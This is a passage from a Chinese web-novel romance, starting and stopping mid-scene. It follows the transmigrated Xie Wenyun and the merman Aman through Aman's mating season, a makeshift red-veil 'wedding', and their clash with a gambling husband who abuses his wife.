用的桌子椅子镜子什么的。” “你想在这里睡吗?”阿满歪着头很专注的看他。 “我都可以, 如果你不想也没关系。”谢文运把主动权又抛回了他手里。 “可是我真的很干, 我是要回海里的。”阿满可怜巴巴的, “我尾巴干的好痛。” “晚上客栈里有浴桶的。”谢文运继续循循善诱, “你可以泡着。” “是海水吗?”阿满继续眨他那双眼睛。 客栈里洗澡水肯定不是海水,但毕竟漳州靠海, 要是想要一桶海水多花点店家也不是不能去搞一桶给送上来,他这么想着正要说, 阿满就软绵绵的把脑袋往他肩膀上一枕,“不回去也行……”他整张脸通红, 羞答答的用肩膀蹭谢文运的胳膊,“你晚上给我摸一下就不干了。” ……他是什么妙手吗。 “咱们还是回去吧。” …… 但很快, 谢文运就开始后悔自己今天为什么要回来。 阿满速度很快的带着他在海里游动,在到一定深度的地方突然慢下来,甚至到后来干脆停了下来,就这么抓着他在那里飘着, 谢文运没开口,瞥了眼莫名其妙又开始脸红的阿满,对方侧着脸仔细的听着,确认了什么脸更红了,然后低着脑袋用含羞带怯的目光看了谢文运一眼又一眼。 单纯从最基础的审美来看的话阿满确实十分漂亮,这种特别直白又带点情愫的目光其实很少有人能抵抗的了,但谢文运表示谢谢,并试图让阿满挪开他的脸。 抛开那点令人动容的东西根本听不清到底发生了什么的谢文运当然对这种目光一脸懵,阿满没有给他更多缓冲的机会,随即再次抓紧谢文运往目的地继续游动,谢文运被海水冲的闭了会儿眼,耳边隐隐约约听到一点别的声音,直觉告诉他这或许就是让阿满脸红的东西。 这么想着他抬手在眼前挡了下为眼睛提供一些缓冲睁开眼去看,等看清楚、理解明白眼前的到底是什么后他又闭上了眼,瞬间有点想把过分好奇的自己眼睛给挖掉。 现在到达的地方已经很靠近鲛人们聚居的地方,一个个像是阿满的小窝那样的类似椭圆形的白色东西分散在这一片区域,有的就是特别粗糙的上面暴力砸出一块来当作门,这种方式当然有控制不好力道的时候,门大了小了是常有的事情。 刚才看到的地方那个门就大的过分,从外面一看甚至可以看到里面那张供休息的石头床,以及上面的两条雄性鲛人。 是的,两条雄性鲛人。 穿过每个小窝都不难辨认里面的都是两条雄性鲛人。 ……鲛人流行搞基吗。 谢文运很无力的想,刚刚工作的他回家撞到自己高中生弟弟跟他的同学在家搞基给了自己极大的冲击,现在他再次得到了不亚于当时的冲击。 谢文运干巴巴的想——海底捞的应该不是阿满的七大姑八大姨,应该是他的七大伯八大舅。 穿过这片区域到了阿满的小窝,这条漂亮的鲛人把谢文运放下就自顾自忙碌起来,谢文运本来还担心阿满又要凑上来要求自己给他摸一摸,看他忙自己的倒是放了点心。 放心了没有一会儿他就发现了不对,看似在那里忙碌的阿满找了一堆东西放在大床的另一边,先是开始磨自己的指甲,把本来形状就很好看的指甲又修了一遍,然后就开始打理自己的尾巴,还抱在怀里仔细看了看确定手感光滑好看,尾巴尖也漂亮柔软才放开,最后的最后又捧着那个亮的反光的石头开始对着打理自己的头发,凑近看看自己的脸,又看看嘴巴。 这一切工作都结束后阿满叹了个很长又舒心的气,抬起眼睛又亮又期待的看谢文运。 谢文运:“……” “干什么。” 谢文运口气很生硬的问,觉得自己就是在明知故问。 阿满显然也这么觉得,用不满的眼神看了下他,利用尾巴上的力量弹了下更靠近谢文运一点,先是把脑袋往他胸口顶,又把脸枕在肩膀上摇,然后伸手小心的捏谢文运的胳膊,做了一堆假动作瞅准时机瞄准嘴唇要亲上去,眼见着马上就要大功告成被一只手挡在了中间,谢文运声音很不明显的抖了下,“……你干什么。” 阿满嘴唇幅度很小的在他的手掌上动了动,自己给自己配音,“么么。” “你听我说。”谢文运伸手把阿满推走,有点戒备的看着这条成天在海里游来游去身上力量很足的鱼,确定阿满满脸乖巧的坐在那里没有扑上来的动作时才很不放心的把手放在阿满肩膀上,随即很直男式很哥俩好的拍了拍阿满,“你听我说。” 谢文运不再试图跟阿满掰扯他们不是这种关系的话题,于是开口,“咱们是不是有点太快了。” “有吗?”阿满再次把脑袋枕在谢文运肩膀上侧着脑袋看他,“咱们认识这么久了。” “这个不是久不久的问题,主要是我不知道你爸妈是谁,你也不知道我爸妈是谁。” “这是什么逻辑。”阿满很不解,“我爸妈把我赶出来了。” 谢文运:“?” 阿满继续解释,“成年的雄性鲛人大部分都会被赶出来的。” “就是,咱们……”谢文运绞尽脑汁,“咱们还需要了解了解彼此。” “哦——”阿满还是不明白,但还是很听话的把谢文运放开了,指了指自己,“我是阿满。”他扯扯自己耳朵,“这是我的耳朵。”他指一指自己耳朵旁边的小裂口,“这是我的鳃。”他又呲开牙,“这是我的牙。”那条尾巴又被甩到床上然后被抱起来,“这是我的尾巴。”他用力朝谢文运晃动尾鳍,“这是我的尾鳍。” …… 他几乎把自己从头到尾介绍一遍,要不是身体里的内脏没法掏出来怕是阿满也会拿出来给谢文运介绍一下,他又从床上起来扯着谢文运出来,在外面以极快的速度游了一圈,等回来的时候手里抓着一条鱼。 十分自豪的宣布,“总之——阿满是一个体型健壮,擅长游泳、尾巴美丽且长、捕食技巧高超特别特别好的鲛!” 阿满满脸都是跟着他你饿不死的表情。 谢文运顿时啼笑皆非起来,在阿满做出这一箩筐在鱼看来似乎很正常在谢文运这个人眼里有点好笑的介绍后他又开始觉得阿满像个小孩一样了。 ……可就是这么个头脑简单的小孩在十几分钟前非要跟他生命大和谐。 介绍完这一堆阿满又回来指指谢文运,“你是谢文运、这是你的嘴巴,软软的好亲,这是你的手,好牵……” 要是别的介绍谢文运早打断了,但对上这种在他看来有点稚气的互相介绍反倒有种类似不忍心打断的感觉。 ……算了,估计就是个智商跟人十岁差不多的鱼,既让他介绍吧。 阿满介绍完更觉得一人一鱼已经非常非常熟悉了,热烘烘又腻歪的继续靠上来。 谢文运歪着脖子,“我的意思是,你知道我是哪里人?你知道我家里有什么?你知道我是干嘛的?你什么都不知道,你之前都说了鲛人一辈子找一个,万一我哪里……”他想了想还是决定把跑了换掉,“万一我哪天被家里逮回去那你一个鲛孤独终老啊。” “那我就去找你。” 谢文运按了按自己心口想起任务难得有点良心痛,突然也觉得那天酒楼里的人说到话也不算差,这些系统找人来骗这种换算一下相当于人类社会的残障人士到底有没有一点同情心。 明明泡在海里谢文运却觉得自己嘴现在干巴巴的,“……你一个鲛人生地不熟的,去找我。” “嗯嗯。”阿满毫不犹豫的嗯嗯两声就动手推着谢文运往石床那里走。 谢文运自己觉得有点心虚居然就这么跟着他走了几步,见势头很好的阿满眼睛登时像是会反光一样朝谢文运发光。 正是发光这几下把还沉浸在哄骗残障人士的心虚中的谢文运给闪醒了,见势不对的他立马推了推阿满连退几步并大声拒绝: “等等等!你先别动!!我比较保守!” 第83章 第八十三章 发情期 “保守?”阿满并没有别的动作, 到底听话没再继续动作。 谢文运不用猜都能知道阿满活这么大整个鲛生怕是都没听过保守两个字,更别提理解保守是什么意思,“就是这种事情必须要在成亲后才能做。” “成亲?”一个又一个陌生词汇很显然把阿满给砸懵了, 他脸上现在全是不加掩饰的疑惑,还带着点忍耐的轻微埋怨,但他不会拉脸, 只是用那双会说话的眼睛幽怨的盯着谢文运看。 谢文运并不清楚古代成亲具体得要点什么,只是依照自己所知道的一点胡乱凑出一个流程, “就是得骑马坐轿子,然后回家喝酒, 穿红衣服, 批红盖头, 最后要被掀开, 才算成亲。” “这么麻烦的啊……”看对眼就算的鲛人显然从未经历过也没见过这种场景, 很不死心的询问, “非得这样吗?能不能后来补啊?” “不行。”谢文运拒绝,“顺序不能变。” “先摸摸也颜删汀不行吗?”阿满继续可怜巴巴的看他。 “不行。”谢文运继续斩钉截铁。 “可是你那天就给我摸了!”阿满像是抓到他的破绽, 很气的哼了声,“你那天就给我摸了!” “那天是例外。”谢文运额头青筋都快起来了, “你不是说收不回去。” 阿满打蛇顺竿上,“可我现在就有点收不回去。” 谢文运飞快低头瞟了眼立马指着警告, “别出来,出来也自己想办法。” 阿满:“……哦。” …… 这几天谢文运备受煎熬, 躺在小窝里也能隐隐约约听到外面的声音,几乎没有怎么停歇的响了好几天,阿满一听到这动静也很躁动,每次都可怜巴巴的看谢文运, 被谢文运毫不留情的拒绝后只好抱着他哼哼唧唧的蹭。 谢文运的底线在自己不知道的时候麻木的降低了不少,只要不做别的贴一贴抱一抱很无所谓,想抱就抱吧…… 现在阿满总是一天到晚的抱着,身体也总在发热,不吃不喝,他不吃不喝可以,谢文运不吃几天也可以,不喝就真要死了,阿满确定谢文运喝进肚子的海水并没有任何用处后很不情不愿的飞快出去一趟又回来,手里就拿着个岸上用的水囊。 谢文运坐在那里专注尝试怎么喝才能一点海水都不进肚,举着水囊看了眼坐在一边把鱼撕成一条一条的阿满以为他自己要吃饭了,却没成想阿满把小条的看起来很晶莹剔透的鱼肉往他嘴边一递,“你试试嘛。” 看着这鱼肉不难下咽,谢文运看了看满脸兴致不高又有点难受的阿满犹豫了几秒接过了那条鱼肉试着塞进嘴里。 很好嚼,没有什么鱼味,仔细的嚼到最后稍微有一点点甜。 就这样阿满坐在一边用锐利的爪子给谢文运一条条撕,谢文运居然就这么把一条不算很大但也绝不小的鱼给吃完了。 手里鱼剩下的骨架被阿满拿着再次扔出去,回来的鱼神情恹恹的靠在床上枕着尾巴,这次居然连一直要抱着的谢文运都没抱,他感到一点异样,很不确定的伸手摸了摸阿满的额头,“你是不是病了?” “没有……”阿满抓住谢文运的手有气无力,很小声,“发情期。” 现在是并不是春天而是夏天,按理说大部分生物并不会进入发情期,但谢文运一想鲛人也不能按照一般生物来算,毕竟应该也算哺乳类水生,虽然不确定是胎生还是卵生,但什么时候生下来应该也不受气候的约束。 “你们一年几次?”谢文运问,“每次都这样?” “好几次。”阿满说,“春天,夏天,秋天,冬天。” 本来听到好几次谢文运已经很惊讶了,听到后面的话谢文运脸上的表情彻底凝固在错愕上面。 ……一年四季都在发情期? “……每次几天?” 阿满再次想了想,“七天。” 说来说去他也没说是不是每次都这样,于是谢文运再次询问,“你每次都这样?发热,不吃不喝不动?” 说起这个阿满顿时又哀怨的看了眼谢文运,“你不肯跟我。” “那要是没有我你怎么办。”谢文运觉得这个赖到自己头上实在没有道理。 “那就等你。” 阿满说完又把脑袋埋在自己双臂中不肯动了。 谢文运又摸了摸自己疑似在痛的良心,有些怀疑阿满这种特别执拗的就认准他到底是哪来的,难不成一见就爱上了? 他不是会一见钟情的人,当然也没法理解,于是干脆不再继续用这个艰难的问题继续为难自己,而是伸手去找阿满尾巴上那片缺失的鳞片。 他这次小心很多了,没有用手去一点点找去摸,那个小小的有些嫩的鳞片比起之前完全没有的样子有些醒目,他伸手摸了摸,觉得现在的生长周期已经完全超出了阿满当时说的半个月一个月。 “怎么才这么大一点,不是说半个月一个月吗?” 阿满闻言从双臂中稍微抬起一点头又埋回去,“发情期会长得慢,还是自己硬拔的,会闹脾气。” 谢文运第一次听到鳞片因为主人拔掉自己而闹脾气长得慢的说法,但也很快欣然接受,“这么小能保护住这块皮肉么?” 他试探着摸了摸缺失鳞片的那块肉,如果说上次就像是新生儿的皮肤,现在应该就是一个正常成年人的肌肤触感,在长久与外界接触的过程中自己形成一层相对来说能保护自己的屏障与老茧而免受大部分正常行动的折磨。 “不能。”阿满诚实摇头,“破只能破了,多破几次自己就结实了。” …… 阿满一整个发情期都在这种很难受又无精打采的状态下度过,等发情期一过立马生龙活虎的带着谢文运要上去吃东西。 谢文运觉得自己这段时间跟着阿满肯定也瘦了几斤,他带回来的那种鱼肉可以吃,爱吃生食肯定喜欢,但他不行,他喜欢熟的,所以这东西也就仅限于可以吃但没必要的范围。 这段时间上来下去老泡在海里谢文运自己对水也有点心得,不像最开始一样是只完全的旱鸭子,现在是半只旱鸭子。 阿满拽着他在海上飘,今天鱼尾巴变成双腿的速度太过于慢,一直在岸边劳作的人又注意到这俩老从海里出来的,撑着腰在那看半天见就在海上飘着没上来的意思,立马大惊失色跳上船准备去救人。 看见有小船准备出航的一人一鱼根本没往自己身上联想,直到那艘小船越靠越近,阿满着急起来,谢文运也睁着眼看他那双还残留着尾巴特征的双腿。 紧赶慢赶,等两人浑身湿漉漉的坐在船上的时候阿满的腿才出来。 撑船的渔夫有点生气但也轻车熟路的给了阿满衣服,“我就说早晚会出事吧,你看看你弟弟,天天要不穿衣服进海里游,还得你这个做哥哥的给捞上来,你现在纵着他,等哪天真出事了哭都来不及呢。” “是。”谢文运虚心受教,“我们下次注意。” “还有下次?”渔夫说完带点怜悯又带点了然的看阿满,“我跟你说,我们隔壁家的二小子,也是生出来的时候在娘肚子里呆久了,生出来就脑子不好,在家里是难缠了点,可人听话不乱跑,你这个弟弟,脑子不好还非要出来进海里游,每年淹死多少水性好的小子啊?” “——不过也是。”他补充,“想必你弟弟难缠,不然你怎么天天带出来光着在海里游呢?” “我不傻!”阿满听了半天也听出来这是在说自己脑子不好,立刻反驳。 渔夫连连应声,不跟他争高低,“脑子好脑子好。” …… 等靠了岸谢文运道谢赶紧把阿满拉走,阿满依旧不忘很愤愤补充,“阿满是一个体型健壮,擅长游泳、尾巴美丽且长、捕食技巧高超特别特别好的鲛!” “阿满不傻!” 现在这样看起来更傻了。 这话谢文运在心里说说,脸上还是一派安抚的神情,推着他走,“当然不傻,但是他们不知道阿满是鲛,也没见过阿满游泳的样子,是他们不知道。” 被三言两语轻易哄好的阿满很快又忘了这一茬,拿着带的珍珠再次去当铺换了银子又去了常去的酒楼再次点了那桌硬菜万分豪气,“吃!” 空旷的好几天的胃他不敢上来直接就吃最荤腥的,像小二要了两碗白米粥让阿满跟他一起喝了稍微暖一下胃才开始吃。 阿满今天吃的飞快,谢文运最开始以为他这几天不吃不喝饿狠了,没想到吃到后来还是吃的飞快。 “你吃这么快干嘛……” 阿满却支支吾吾又神神秘秘的不肯说。 谢文运不确定的看他,“你着急回海里?” “没有!”阿满否认,“才没有要回海里,我们今天可以住在岸上。” “你不是尾巴痛?” “阿满可以忍一忍,泡一泡水。” 谢文运没必要让他忍着尾巴痛也要待在岸上,他本来对这个也不是特别需要,“还是回去吧。” 阿满想了想似乎觉得回去也可以,重重点了点头,最后还是他自己瞒不住的事,万分神秘的开口: “一会儿吃完跟阿满走好不好?” 第84章 第八十四章 我嫁给你了 两个人每次上岸都要买新衣服, 每次穿的衣服带不回去,就算带回去穿上来也是湿的,倒不如随便穿点上来再买, 于是上岸去当铺,再去布庄,去吃饭, 去闲逛,走之前再去当铺把新衣服直接当掉就是两个人每次的必经流程。 但谢文运没想到他神神秘秘说要带自己去的居然还是布庄。 两人常去的布庄已经有了尺码, 每次在这里并不多停留,拿衣服换了就走, 所以每次的活动范围都特别固定的在一楼, 至于二楼是从来都没上去过的。 这次进来阿满直接往二楼走, 谢文运上来打量了一圈。 二楼跟一楼从某种程度上来说布置大差不差, 但比起一楼门口为了吸引人们放的时兴又亮眼的布匹和成衣二楼相对来说就要更平淡一点, 大部分是些不推销也不愁卖的布匹。 上面供人走的地方看起来有些狭窄, 最大的原因还是中间有一排直接把布展开挂起展示,阿满自己去那边逛, 他在这里逛。 他在谢家穿的就是整个大武最时兴最好的料子,有什么东西在市面上时兴之前布商都是会先往他们那送几匹过去, 而谢文运在谢家的位置每次都能刚刚好分到。 他正在那里看着,后面的鱼就突破一层层布匹的阻挡探了个头出来, 头上还顶着块布,“好看吗?” 谢文运稍微比对了下, 阿满白,头发是黑色,眼睛发蓝发绿,穿这种红色确实是好看的, 于是就点点头,“好看。” 满意了的阿满笑了下把顶着那块布又往下扯了扯,谢文运开始有点不明所以,等他催促了几声掀开啊突然有点明白他在干嘛了。 谢文运顿时有点啼笑皆非,“……你就这么嫁我了?” “对呀。”蒙在布下的声音有点闷,“我嫁给你了。你掀开啊,掀吧。” 这有点像是小时候玩过家家,但又跟过家家截然不同,这举动可能是并不算了解人的鱼听到后做出的最直接反应,还真来披了块红布要嫁给他啊。 谢文运说不出来自己现在什么感受,只是出于搪塞说出来的话反倒被没什么大心眼的鱼去执行,虽然执行的有些潦草但出发点还是落脚点的心意都不可忽视。 他有点说不出话来,但也觉得不能去掀这个盖头。 安静的等了会儿的阿满晃了晃身体以示催促,谢文运犹豫着,抬起手慢慢掀起一个角。 他没有完全掀起来,甚至只露出了阿满的一只眼睛和不到半张脸,露出的能看见的他的眼睛就朝他笑。 谢文运怔了片刻,有点酸,喉咙里还有点说不出的涩,被用这种眼神看了无数遍,今天却像是无法招架这种眼神一样避开了点视线,“……干什么你这是。” 阿满利索的自己把剩下的盖头掀开,一伸脖子就去亲了亲他的脸,中间隔着布匹他的动作不算快,谢文运完全能躲过,但他手里还捏着那点红布的一角,鬼使神差的,就站在那没动。 嘴唇落在脸上很轻的一下,阿满简单贴了下就离开,从怀里拿起另一匹红布在他身上比了比,“你今天穿这个行不行?” 谢文运沉默着没拒绝。 …… 红衣是临时裁出来的,不算多么精细,但穿在两个相貌堂堂的人身上让人不自觉的忽视了那点瑕疵,等穿上衣服本来很充裕的时间也所剩不多,除非今天像是阿满说的那样住在岸上不回去。 他思考着可行性,有点想让阿满留下来看看晚上的夜市,不住多留一两个时辰也是可行的。 阿满手里还捏着那块当作盖头披过的红布爱不释手,“这身衣服还有盖头不当,我带回去。” 谢文运也没打算当这个闻言点点头。 他把红盖头宝贝似的护在怀里走,“我想吃上次那个饼。” “巷子里那个?” 阿满在岸上不认路,来回这么几次还是分不清,倒是谢文运现在对漳州比对琼州熟悉多了,知道是巷子里的那个就能找到,比阿满快走那么几步在前面带路。 巷子里全是各种小吃,阿满想吃的那个饼是个三十岁左右的妇人做的,面不知道是怎么和的,香极了,不就别的东西光饼吃也很香。 等两人到小摊前时前面还有一个,那妇人都是现点一个现烙一个,好容易等到前面这个买好几个饼的人离开,“拿两个。” 妇人长得很温柔,看了眼阿满那双特殊的眼睛就立马认出来了,她一边动作麻利的和面一边寒暄,“哎哟,好几天没来了吧?” “这几天有事。”谢文运看着她烙饼,正想继续说什么,一个七八岁的姑娘从里面跑出来了。 “娘!”小姑娘叫了一声很依恋的依偎在妇人身旁,有点怯怯的看了看谢文运和阿满然后又躲回妇人背后,“哥哥为什么穿红衣服呀?” 民间除了大事很少穿这种颜色显眼的衣服,一来不耐脏,二来对红色也习惯性的指向某些亲事之类的活动。 “花绣完了?书读完了?”妇人用手背碰了碰小姑娘的额头,“当然是好看了,快回去吧啊,娘外头忙着呢。” 她看着小姑娘跑回去脸上带点歉意和不好意思的开口,“实在冒犯。” “没事——”谢文运的注意点却在妇人刚才询问的读书,“小丫头在读书?” 这个时代家里男丁都不一定会读书,女孩读书就更少了,难道是什么女则女戒之类的东西? 妇人看起来更不好意思了,擦擦手拢了下自己的头发,“是让看点,以后明点事理。” 谢文运多看了这个妇人一眼,“看点书挺好的。” “我看您这两位也是读书人?”妇人试探着询问。 “读书人谈不上。”谢文运只是这样回答,倒不是他没看出妇人想问点问题,但是他一个接受现代教育的人对古代这些书实在一窍不通。 “哦——”妇人只是笑了笑也不再回答。 饼很快散发出了香味,一个饼现烙出锅谢文运拿着递给阿满让他先吃,正站在那里等第二个饼的时候面前的摊子猝不及防的被掀了。 滚烫的铁锅和下面燃烧的炭火四处飞溅,谢文运扯着阿满连退几步才抬头去看掀摊子的到底是谁,只见一个形容粗鄙的男人拽着妇人的衣领骂,“臭婆娘,不是说没钱吗啊?!” 他的骂声接连不断,周围几个摊子摊主似乎对这副场景见怪不怪,连忙扯着自己的摊子远离是非之地站在周围看这场闹剧。 “赌赌赌就知道赌,赌狗一个。” “他们家大丫头再过几年不也得出嫁,这种声名在外谁愿意摊上?” “真是倒了霉了,一会儿引来官府咱们这儿又好几天不能开张。” …… 周围人各种声音层出不穷,里面的小姑娘也哭着跑出来试图从她那个赌鬼爹手上救下自己的娘,妇人一见小姑娘跑出来立马睁大眼睛呵斥,“回去!出来干什么!” 本来一肚子火朝妇人发的男人立马调转了矛头,骂骂咧咧朝小姑娘走去,“赔钱货!之前让你嫁张瞎子给你爹换点钱都不肯,生了你这么个不孝敬的白吃白喝,未来还不是人家外人的!” 妇人急了,立马扑上去抱住男人的腿,但力量悬殊哪怕是这人被酒掏空了身体也是无法忽视的,男人猛的一甩腿没甩掉准备开始踢。 一边的阿满早压不住火了,把饼和红布往谢文运手里一塞就朝男人冲了过去,一拳就把男人打了个仰倒,“我去你的!到哪发疯来了!” 男人仔细睁眼一看发现是个身形高大的男人顿时怂了,但也不肯落了下风嘴里依旧不干不净的冲着妇人,他吐了口口水,“去你的!又去哪找了这么个姘头来打你男人!好不要脸!” 阿满朝他瞪眼,“你说谁呢!” 男人一屁股坐在地上不肯起来,他犯怂,嘴里含糊不清嘟囔了会儿,“……又没说你。” 阿满被这种无赖又不要脸的行径给气了个够呛,立马冲上去就开揍,男人挣扎几下干脆抱着头缩在地上哎呦哎呦连声叫唤。 这闹腾的动静很快引来了官府,谢文运眼皮子一跳,他俩一个没籍贯的鱼,一个有籍贯但是不想回家的人,招来官府讨不了好,周围人见官府来了也开始乱哄哄的,谢文运连忙趁乱把阿满一拽朝另一边走,把乱哄哄的动静全抛在后面从左边拐进了另一道巷子。 身上的衣服太显眼,阿满也并不愿意离开。 “咱们走了那人怎么办?” “官府来了这种地痞少说得抓起来关几天,咱们今天不回去住客栈,第二天一早我就带你来行不行?” 谢文运好说歹说把鱼安抚住找了客栈住下又把衣服换了向店小二要了水,阿满一直都极其愤愤不平,变回鱼尾也没法全泡在桶里只好自己动手淋水,身上怒意翻涌,眼睛一直都是瞪着的,他不止瞪那男人,也瞪谢文运。 “那是什么东西!你就在旁边看着?” 第85章 第八十五章 那就去死好了…… 一句你就在旁边看着给谢文运说的哑口无言, 打好的满腔腹稿也全成了空。 阿满说的是对的,他也不得不承认自己在选择是否行善或插手别人的事情前总是顾虑重重,行善的成本太高, 人们总是思考再思考是否要去做,要思考后果,他能承担的起后果也要思考, 更别提绝大部分人是禁不起的,所以很少有像阿满这种直接冲上去的, 要按人类社会的生存法则谢文运现在该告诉他有些时候行善会给自己带来数不清的麻烦,但他并不想跟阿满说这些。 谢文运有点无奈了笑了下嗯了声认下了阿满这句话, 拿了瓢搬了个凳子去帮他用水淋湿他够不着的地方。 “你不能这样。”阿满很不满, “你们怎么这样。” “是我的问题。”谢文运静静的在那里继续手上的动作。 …… 阿满晚上临睡前强调了好几次第二天要早早起来过去一趟, 谢文运满口应下。 这段时间一人一鱼生物钟同吃同睡同住都差不多, 第二天几乎是差不多的时候睁开了眼, 起来稍微收拾了下就再次往昨天那个巷子去了。 巷子里有很多早点, 早就有人出摊了,那个买饼的地方今天却空空如也, 像是缺了一颗牙的嘴巴。 谢文运看了眼旁边摊子上的包子买了几个当早点顺便打听消息,“大娘, 这家饼怎么没出摊啊?” “她啊。”大娘看了眼谢文运指的地方,“她昨天去了衙门好像都没回来吧。”说完大娘眯着眼看了会儿, “诶,你们, 你们是昨天那个穿红衣服的是不是?” 谢文运没承认也没否认,阿满就安安静静的坐在一边边吃包子边听,“她去衙门干什么?” 这个年纪的大娘都喜欢唠,更何况还是靠摆摊为生, 平常嘴里说的话也就更多了,闻言看了圈发现也没什么来买包子的就坐下了,“她那男人是个赌鬼,之前在赌场欠了债,还不起赌场的人还来这儿跟她要过,家里都被搞的天翻地覆,可怜家里还有个小孩呢。” “她给了?”阿满不可置信的瞪大眼。 “没啊!”大娘说,“几十两银子谁给的起啊!好像稍微给了一两还是多少来着先打发走了。” 大娘在围裙上擦擦手继续说,“再说了,之前衙门抓了他好几次都是阿暖给银子赎了回来,次数多了谁家能掏的起,后来被抓了也不管了,衙门从他手里捞不到油水谁愿意抓个地痞流氓啊,要不是他这次又欠了债赌坊那里知会了衙门一声给抓起来了现在还在外面乱晃呢。” “所以这次又给银子去赎人了?”阿满表情上的不满几乎要满的溢出来。 “这不知道,毕竟现在人还没回来呢。” 摊子前又来人了,大娘忙了起来也就没功夫继续说闲话,谢文运手里的包子已经吃完了,阿满发了一会儿呆吃一口,平时吃饭很快的鱼现在过了这么半天连个包子都没吃完。 他也没催,更没跟阿满接着说话,静静坐在那里看周围,大概过了几分钟巷子口出现个人影,站在摊子前的大娘哎呦了一声,谢文运看这反应估计就是那个女人,也就是这大娘嘴里的阿暖。 那女人头发有些乱,看起来形容枯槁,神情看起来活像是遭了什么大罪,晃晃悠悠像是个游魂一样飘过来没有看周围,但禁不住阿满自己凑上去了,女人惊了下,抬头左右看了眼又看见了谢文运勉强笑了下,“昨天您花了两个饼的钱我这就给您。”她又对阿满笑了下,“昨天谢谢您了。” 谢文运从包子摊上起来,“不用给了,不麻烦的话能不能进去坐坐?” 女人有些犹豫的看了眼自己的院门,良久还是低低应了声率先打开。 两人坐在院子里那张小桌上,阿暖回去倒了茶放上去坐下再次跟阿满道谢,“昨天实在是谢谢了。” 阿满连声说没事,谢文运开口询问,“昨天那个人被抓起来了?” 阿暖眼里顿时有了点泪光,遮掩一般低着脑袋嗯了声,“今天被赌场带走了。” 谢文运:“要他还债?” “还不起就要打死他。”阿暖语气里有点哽咽,睡在屋子里的姑娘头发散着跑出来扑在娘怀里一声不吭。 阿满看她这样有点气,“这种人干脆让他去死好了。” “他没了我们娘俩也没法活。”阿暖眼里全是泪,更多的是对未来的无望。 “你自己能挣钱,他只会跟你要钱,离了他怎么没法活?” 阿满瞪眼,阿暖却只是摇了摇头抱着小女孩不吭声。 谢文运按住还想说些什么的阿满示意他别继续说了,稍微沉吟了下,“你父母在漳州?” “不在。”阿暖摇摇头,“家里人都没了。” 家人不在漳州要考虑的事就少了,他掏了下钱袋干脆把剩下的三十多两银子全放在桌上,“去官府开个路引往琼州去,到那边租个房先住下吧,至于那男人是死是活别管了。” 阿暖很踌躇,“琼州……?” 谢文运估计回去的日子应该也不算远,“有纸跟笔么?” 阿暖连连点头赶紧擦擦眼泪去房里找纸笔去了。 谢文运只是在上面简短的写了点话就叠好递给她,“去琼州找谢家,说你在漳州见了谢文运,然后把这个拿给他们看,就先待在谢家做工吧。” 谢文运只留了这个给她就带着阿满往外走,阿满仍旧不理解阿暖说的离了那男人她们母女也没法活,“到底什么意思,自己赚钱还能饿死不成?” “不是这个。”谢文运早上起来看他的尾巴觉得干的厉害,现在就引着他往海边走,“先回去,一会儿跟你说。” …… 路上谢文运一直不吭声,阿满又着急的想知道到底为什么,一路上卯足劲去游,居然比平时回去的时候还早,立马把尾巴盘起来用眼神催促他说。 谢文运坐在那里思考该怎么说不理解人类行径的阿满才能理解其中复杂的原因,“简单说就是假如一个家里没男人,大家都默认这个家里没个能说话的主事人,一些恶亲戚什么的就会来欺负家里剩下的人,或者以什么长辈之类的名义去插手她们的事。” “什么意思?” 阿满果然没听明白。 “举个例子,假如说她丈夫死了,她自己只有一个女儿没有儿子的情况下,自己住的房子可以被其他亲戚给夺走,甚至以前发生过死了丈夫被丈夫的家人又给嫁出去换钱的。” “凭什么啊,你们人怎么这样?!”阿满深深谴责,并开始责备同样是人的谢文运。 他还是万分不理解里面的逻辑,甚至从这个男人居然能娶到妻子还有孩子那里开始谴责,“他怎么娶到的?” “父母帮娶的吧。”谢文运迟疑道。 “那他爹妈怎么不喂他吃饭啊!”阿满深深的翻了个白眼,“要是换作我们,这种玩意儿哪配有后代啊,根本找不到愿意接纳他的雌性鲛人,雌性鲛人都是找身强体壮能捕食能打退别的鲛人的!没用玩意儿!” “直接去死好了!” 谢文运被阿满粗暴又直接的逻辑震惊到,但也不得不承认确实很有道理,在大自然恶劣的环境里想要生存下来并不容易,也只有实力强劲的优秀的基因才能传承下去,雌性当然也会选择强壮的雄性组成家庭繁育后代,阿满说的很有道理,那就去死好了。 他闷闷不乐的坐在那里摆弄拿回来的红色衣服,看谢文运一眼叹一口气,看谢文运一眼叹一口气,“咱俩要不还是算了吧,我不敢嫁你了。” 谢文运:“???” 面对谢文运错愕的目光阿满却很认真,“我怕你那亲戚抢劫到我头上来,你死了他们不会也要让我嫁人吧?” 被判断成英年早逝的谢文运有点说不出的复杂,万万没想到阿满居然从这儿想到了不知道多长时间之后的事情,“……你要跟我回岸上去啊?” “没有啊。”阿满极其自然的开口,“我去岸上要干死了,我就是因为这个事情想到咱们。” “……有感而发?” “对!有感而发。” 谢文运却觉得他不太像个会有感而发的性子,倒像是真想到这一茬了,他觉得阿满不像是个能憋住的,于是没继续接话,果不其然,或许只有几十秒,甚至不到一分钟,阿满就再次凑过来。 “你不会真让你亲戚欺负我吧?” “不会。”谢文运很笃定,“谁欺负你直接给他一爪子。” “你欺负我呢?” 谢文运想到原剧情中原主还真是被阿满一爪子给掏了心,不由得怔了几秒反问,“我为什么会欺负你?” “你们人一肚子坏水,不知道天天盘算什么。”阿满现在有点看透人的本质,“就是成天办坏事。” “我不欺负你。”谢文运说,“我要是欺负你你也直接一爪子掏了我的心。” 阿满眨眨眼,伸出一根小拇指。 “说话算话。” 第86章 第八十六章 受伤 一人一鱼的日子并没有因为这个事被打破, 阿满似乎已经忘记了那天对人的愤愤,上了岸依旧没心没肺的对所有人都笑。 他们坐在茶楼里听说书人评书,那人一拍惊堂木: “闲来书房闷坐, 打开三国闲篇——其中人物众多性格不同有什么猛人、狠人还有善人、哲人、不可理喻的人还有不是人的人!”[1] …… 台上人滔滔不绝,谢文运没想到这个时候居然还有三国,只是他从来对这类东西都不大感兴趣, 只是说书人说什么他跟着听什么,阿满倒是津津有味。 桌上茶和瓜果花生续了一次又一次, 谢文运对台上说到不感兴趣就去掰花生搓掉皮给阿满吃,剥的肯定赶不上吃的速读, 阿满吃了会儿跟他比赛一样也开始剥着喂他并为投喂的动作乐此不疲, 生生把一盘子花生全喂进了谢文运肚子里, 他正打算跟小二招手再要台上的人就再次一拍: “欲知后事如何——且听下回分解!” 正说到要紧处被停下来台下人都意犹未尽, 有人立马站起来给这先生高声叫好, 台上先生连连拱手, 等茶楼里的声音逐渐低下来带头叫好的人才开口,“先生明天就是这点?” “诸位明日别等了。”那先生收拾自己的东西, 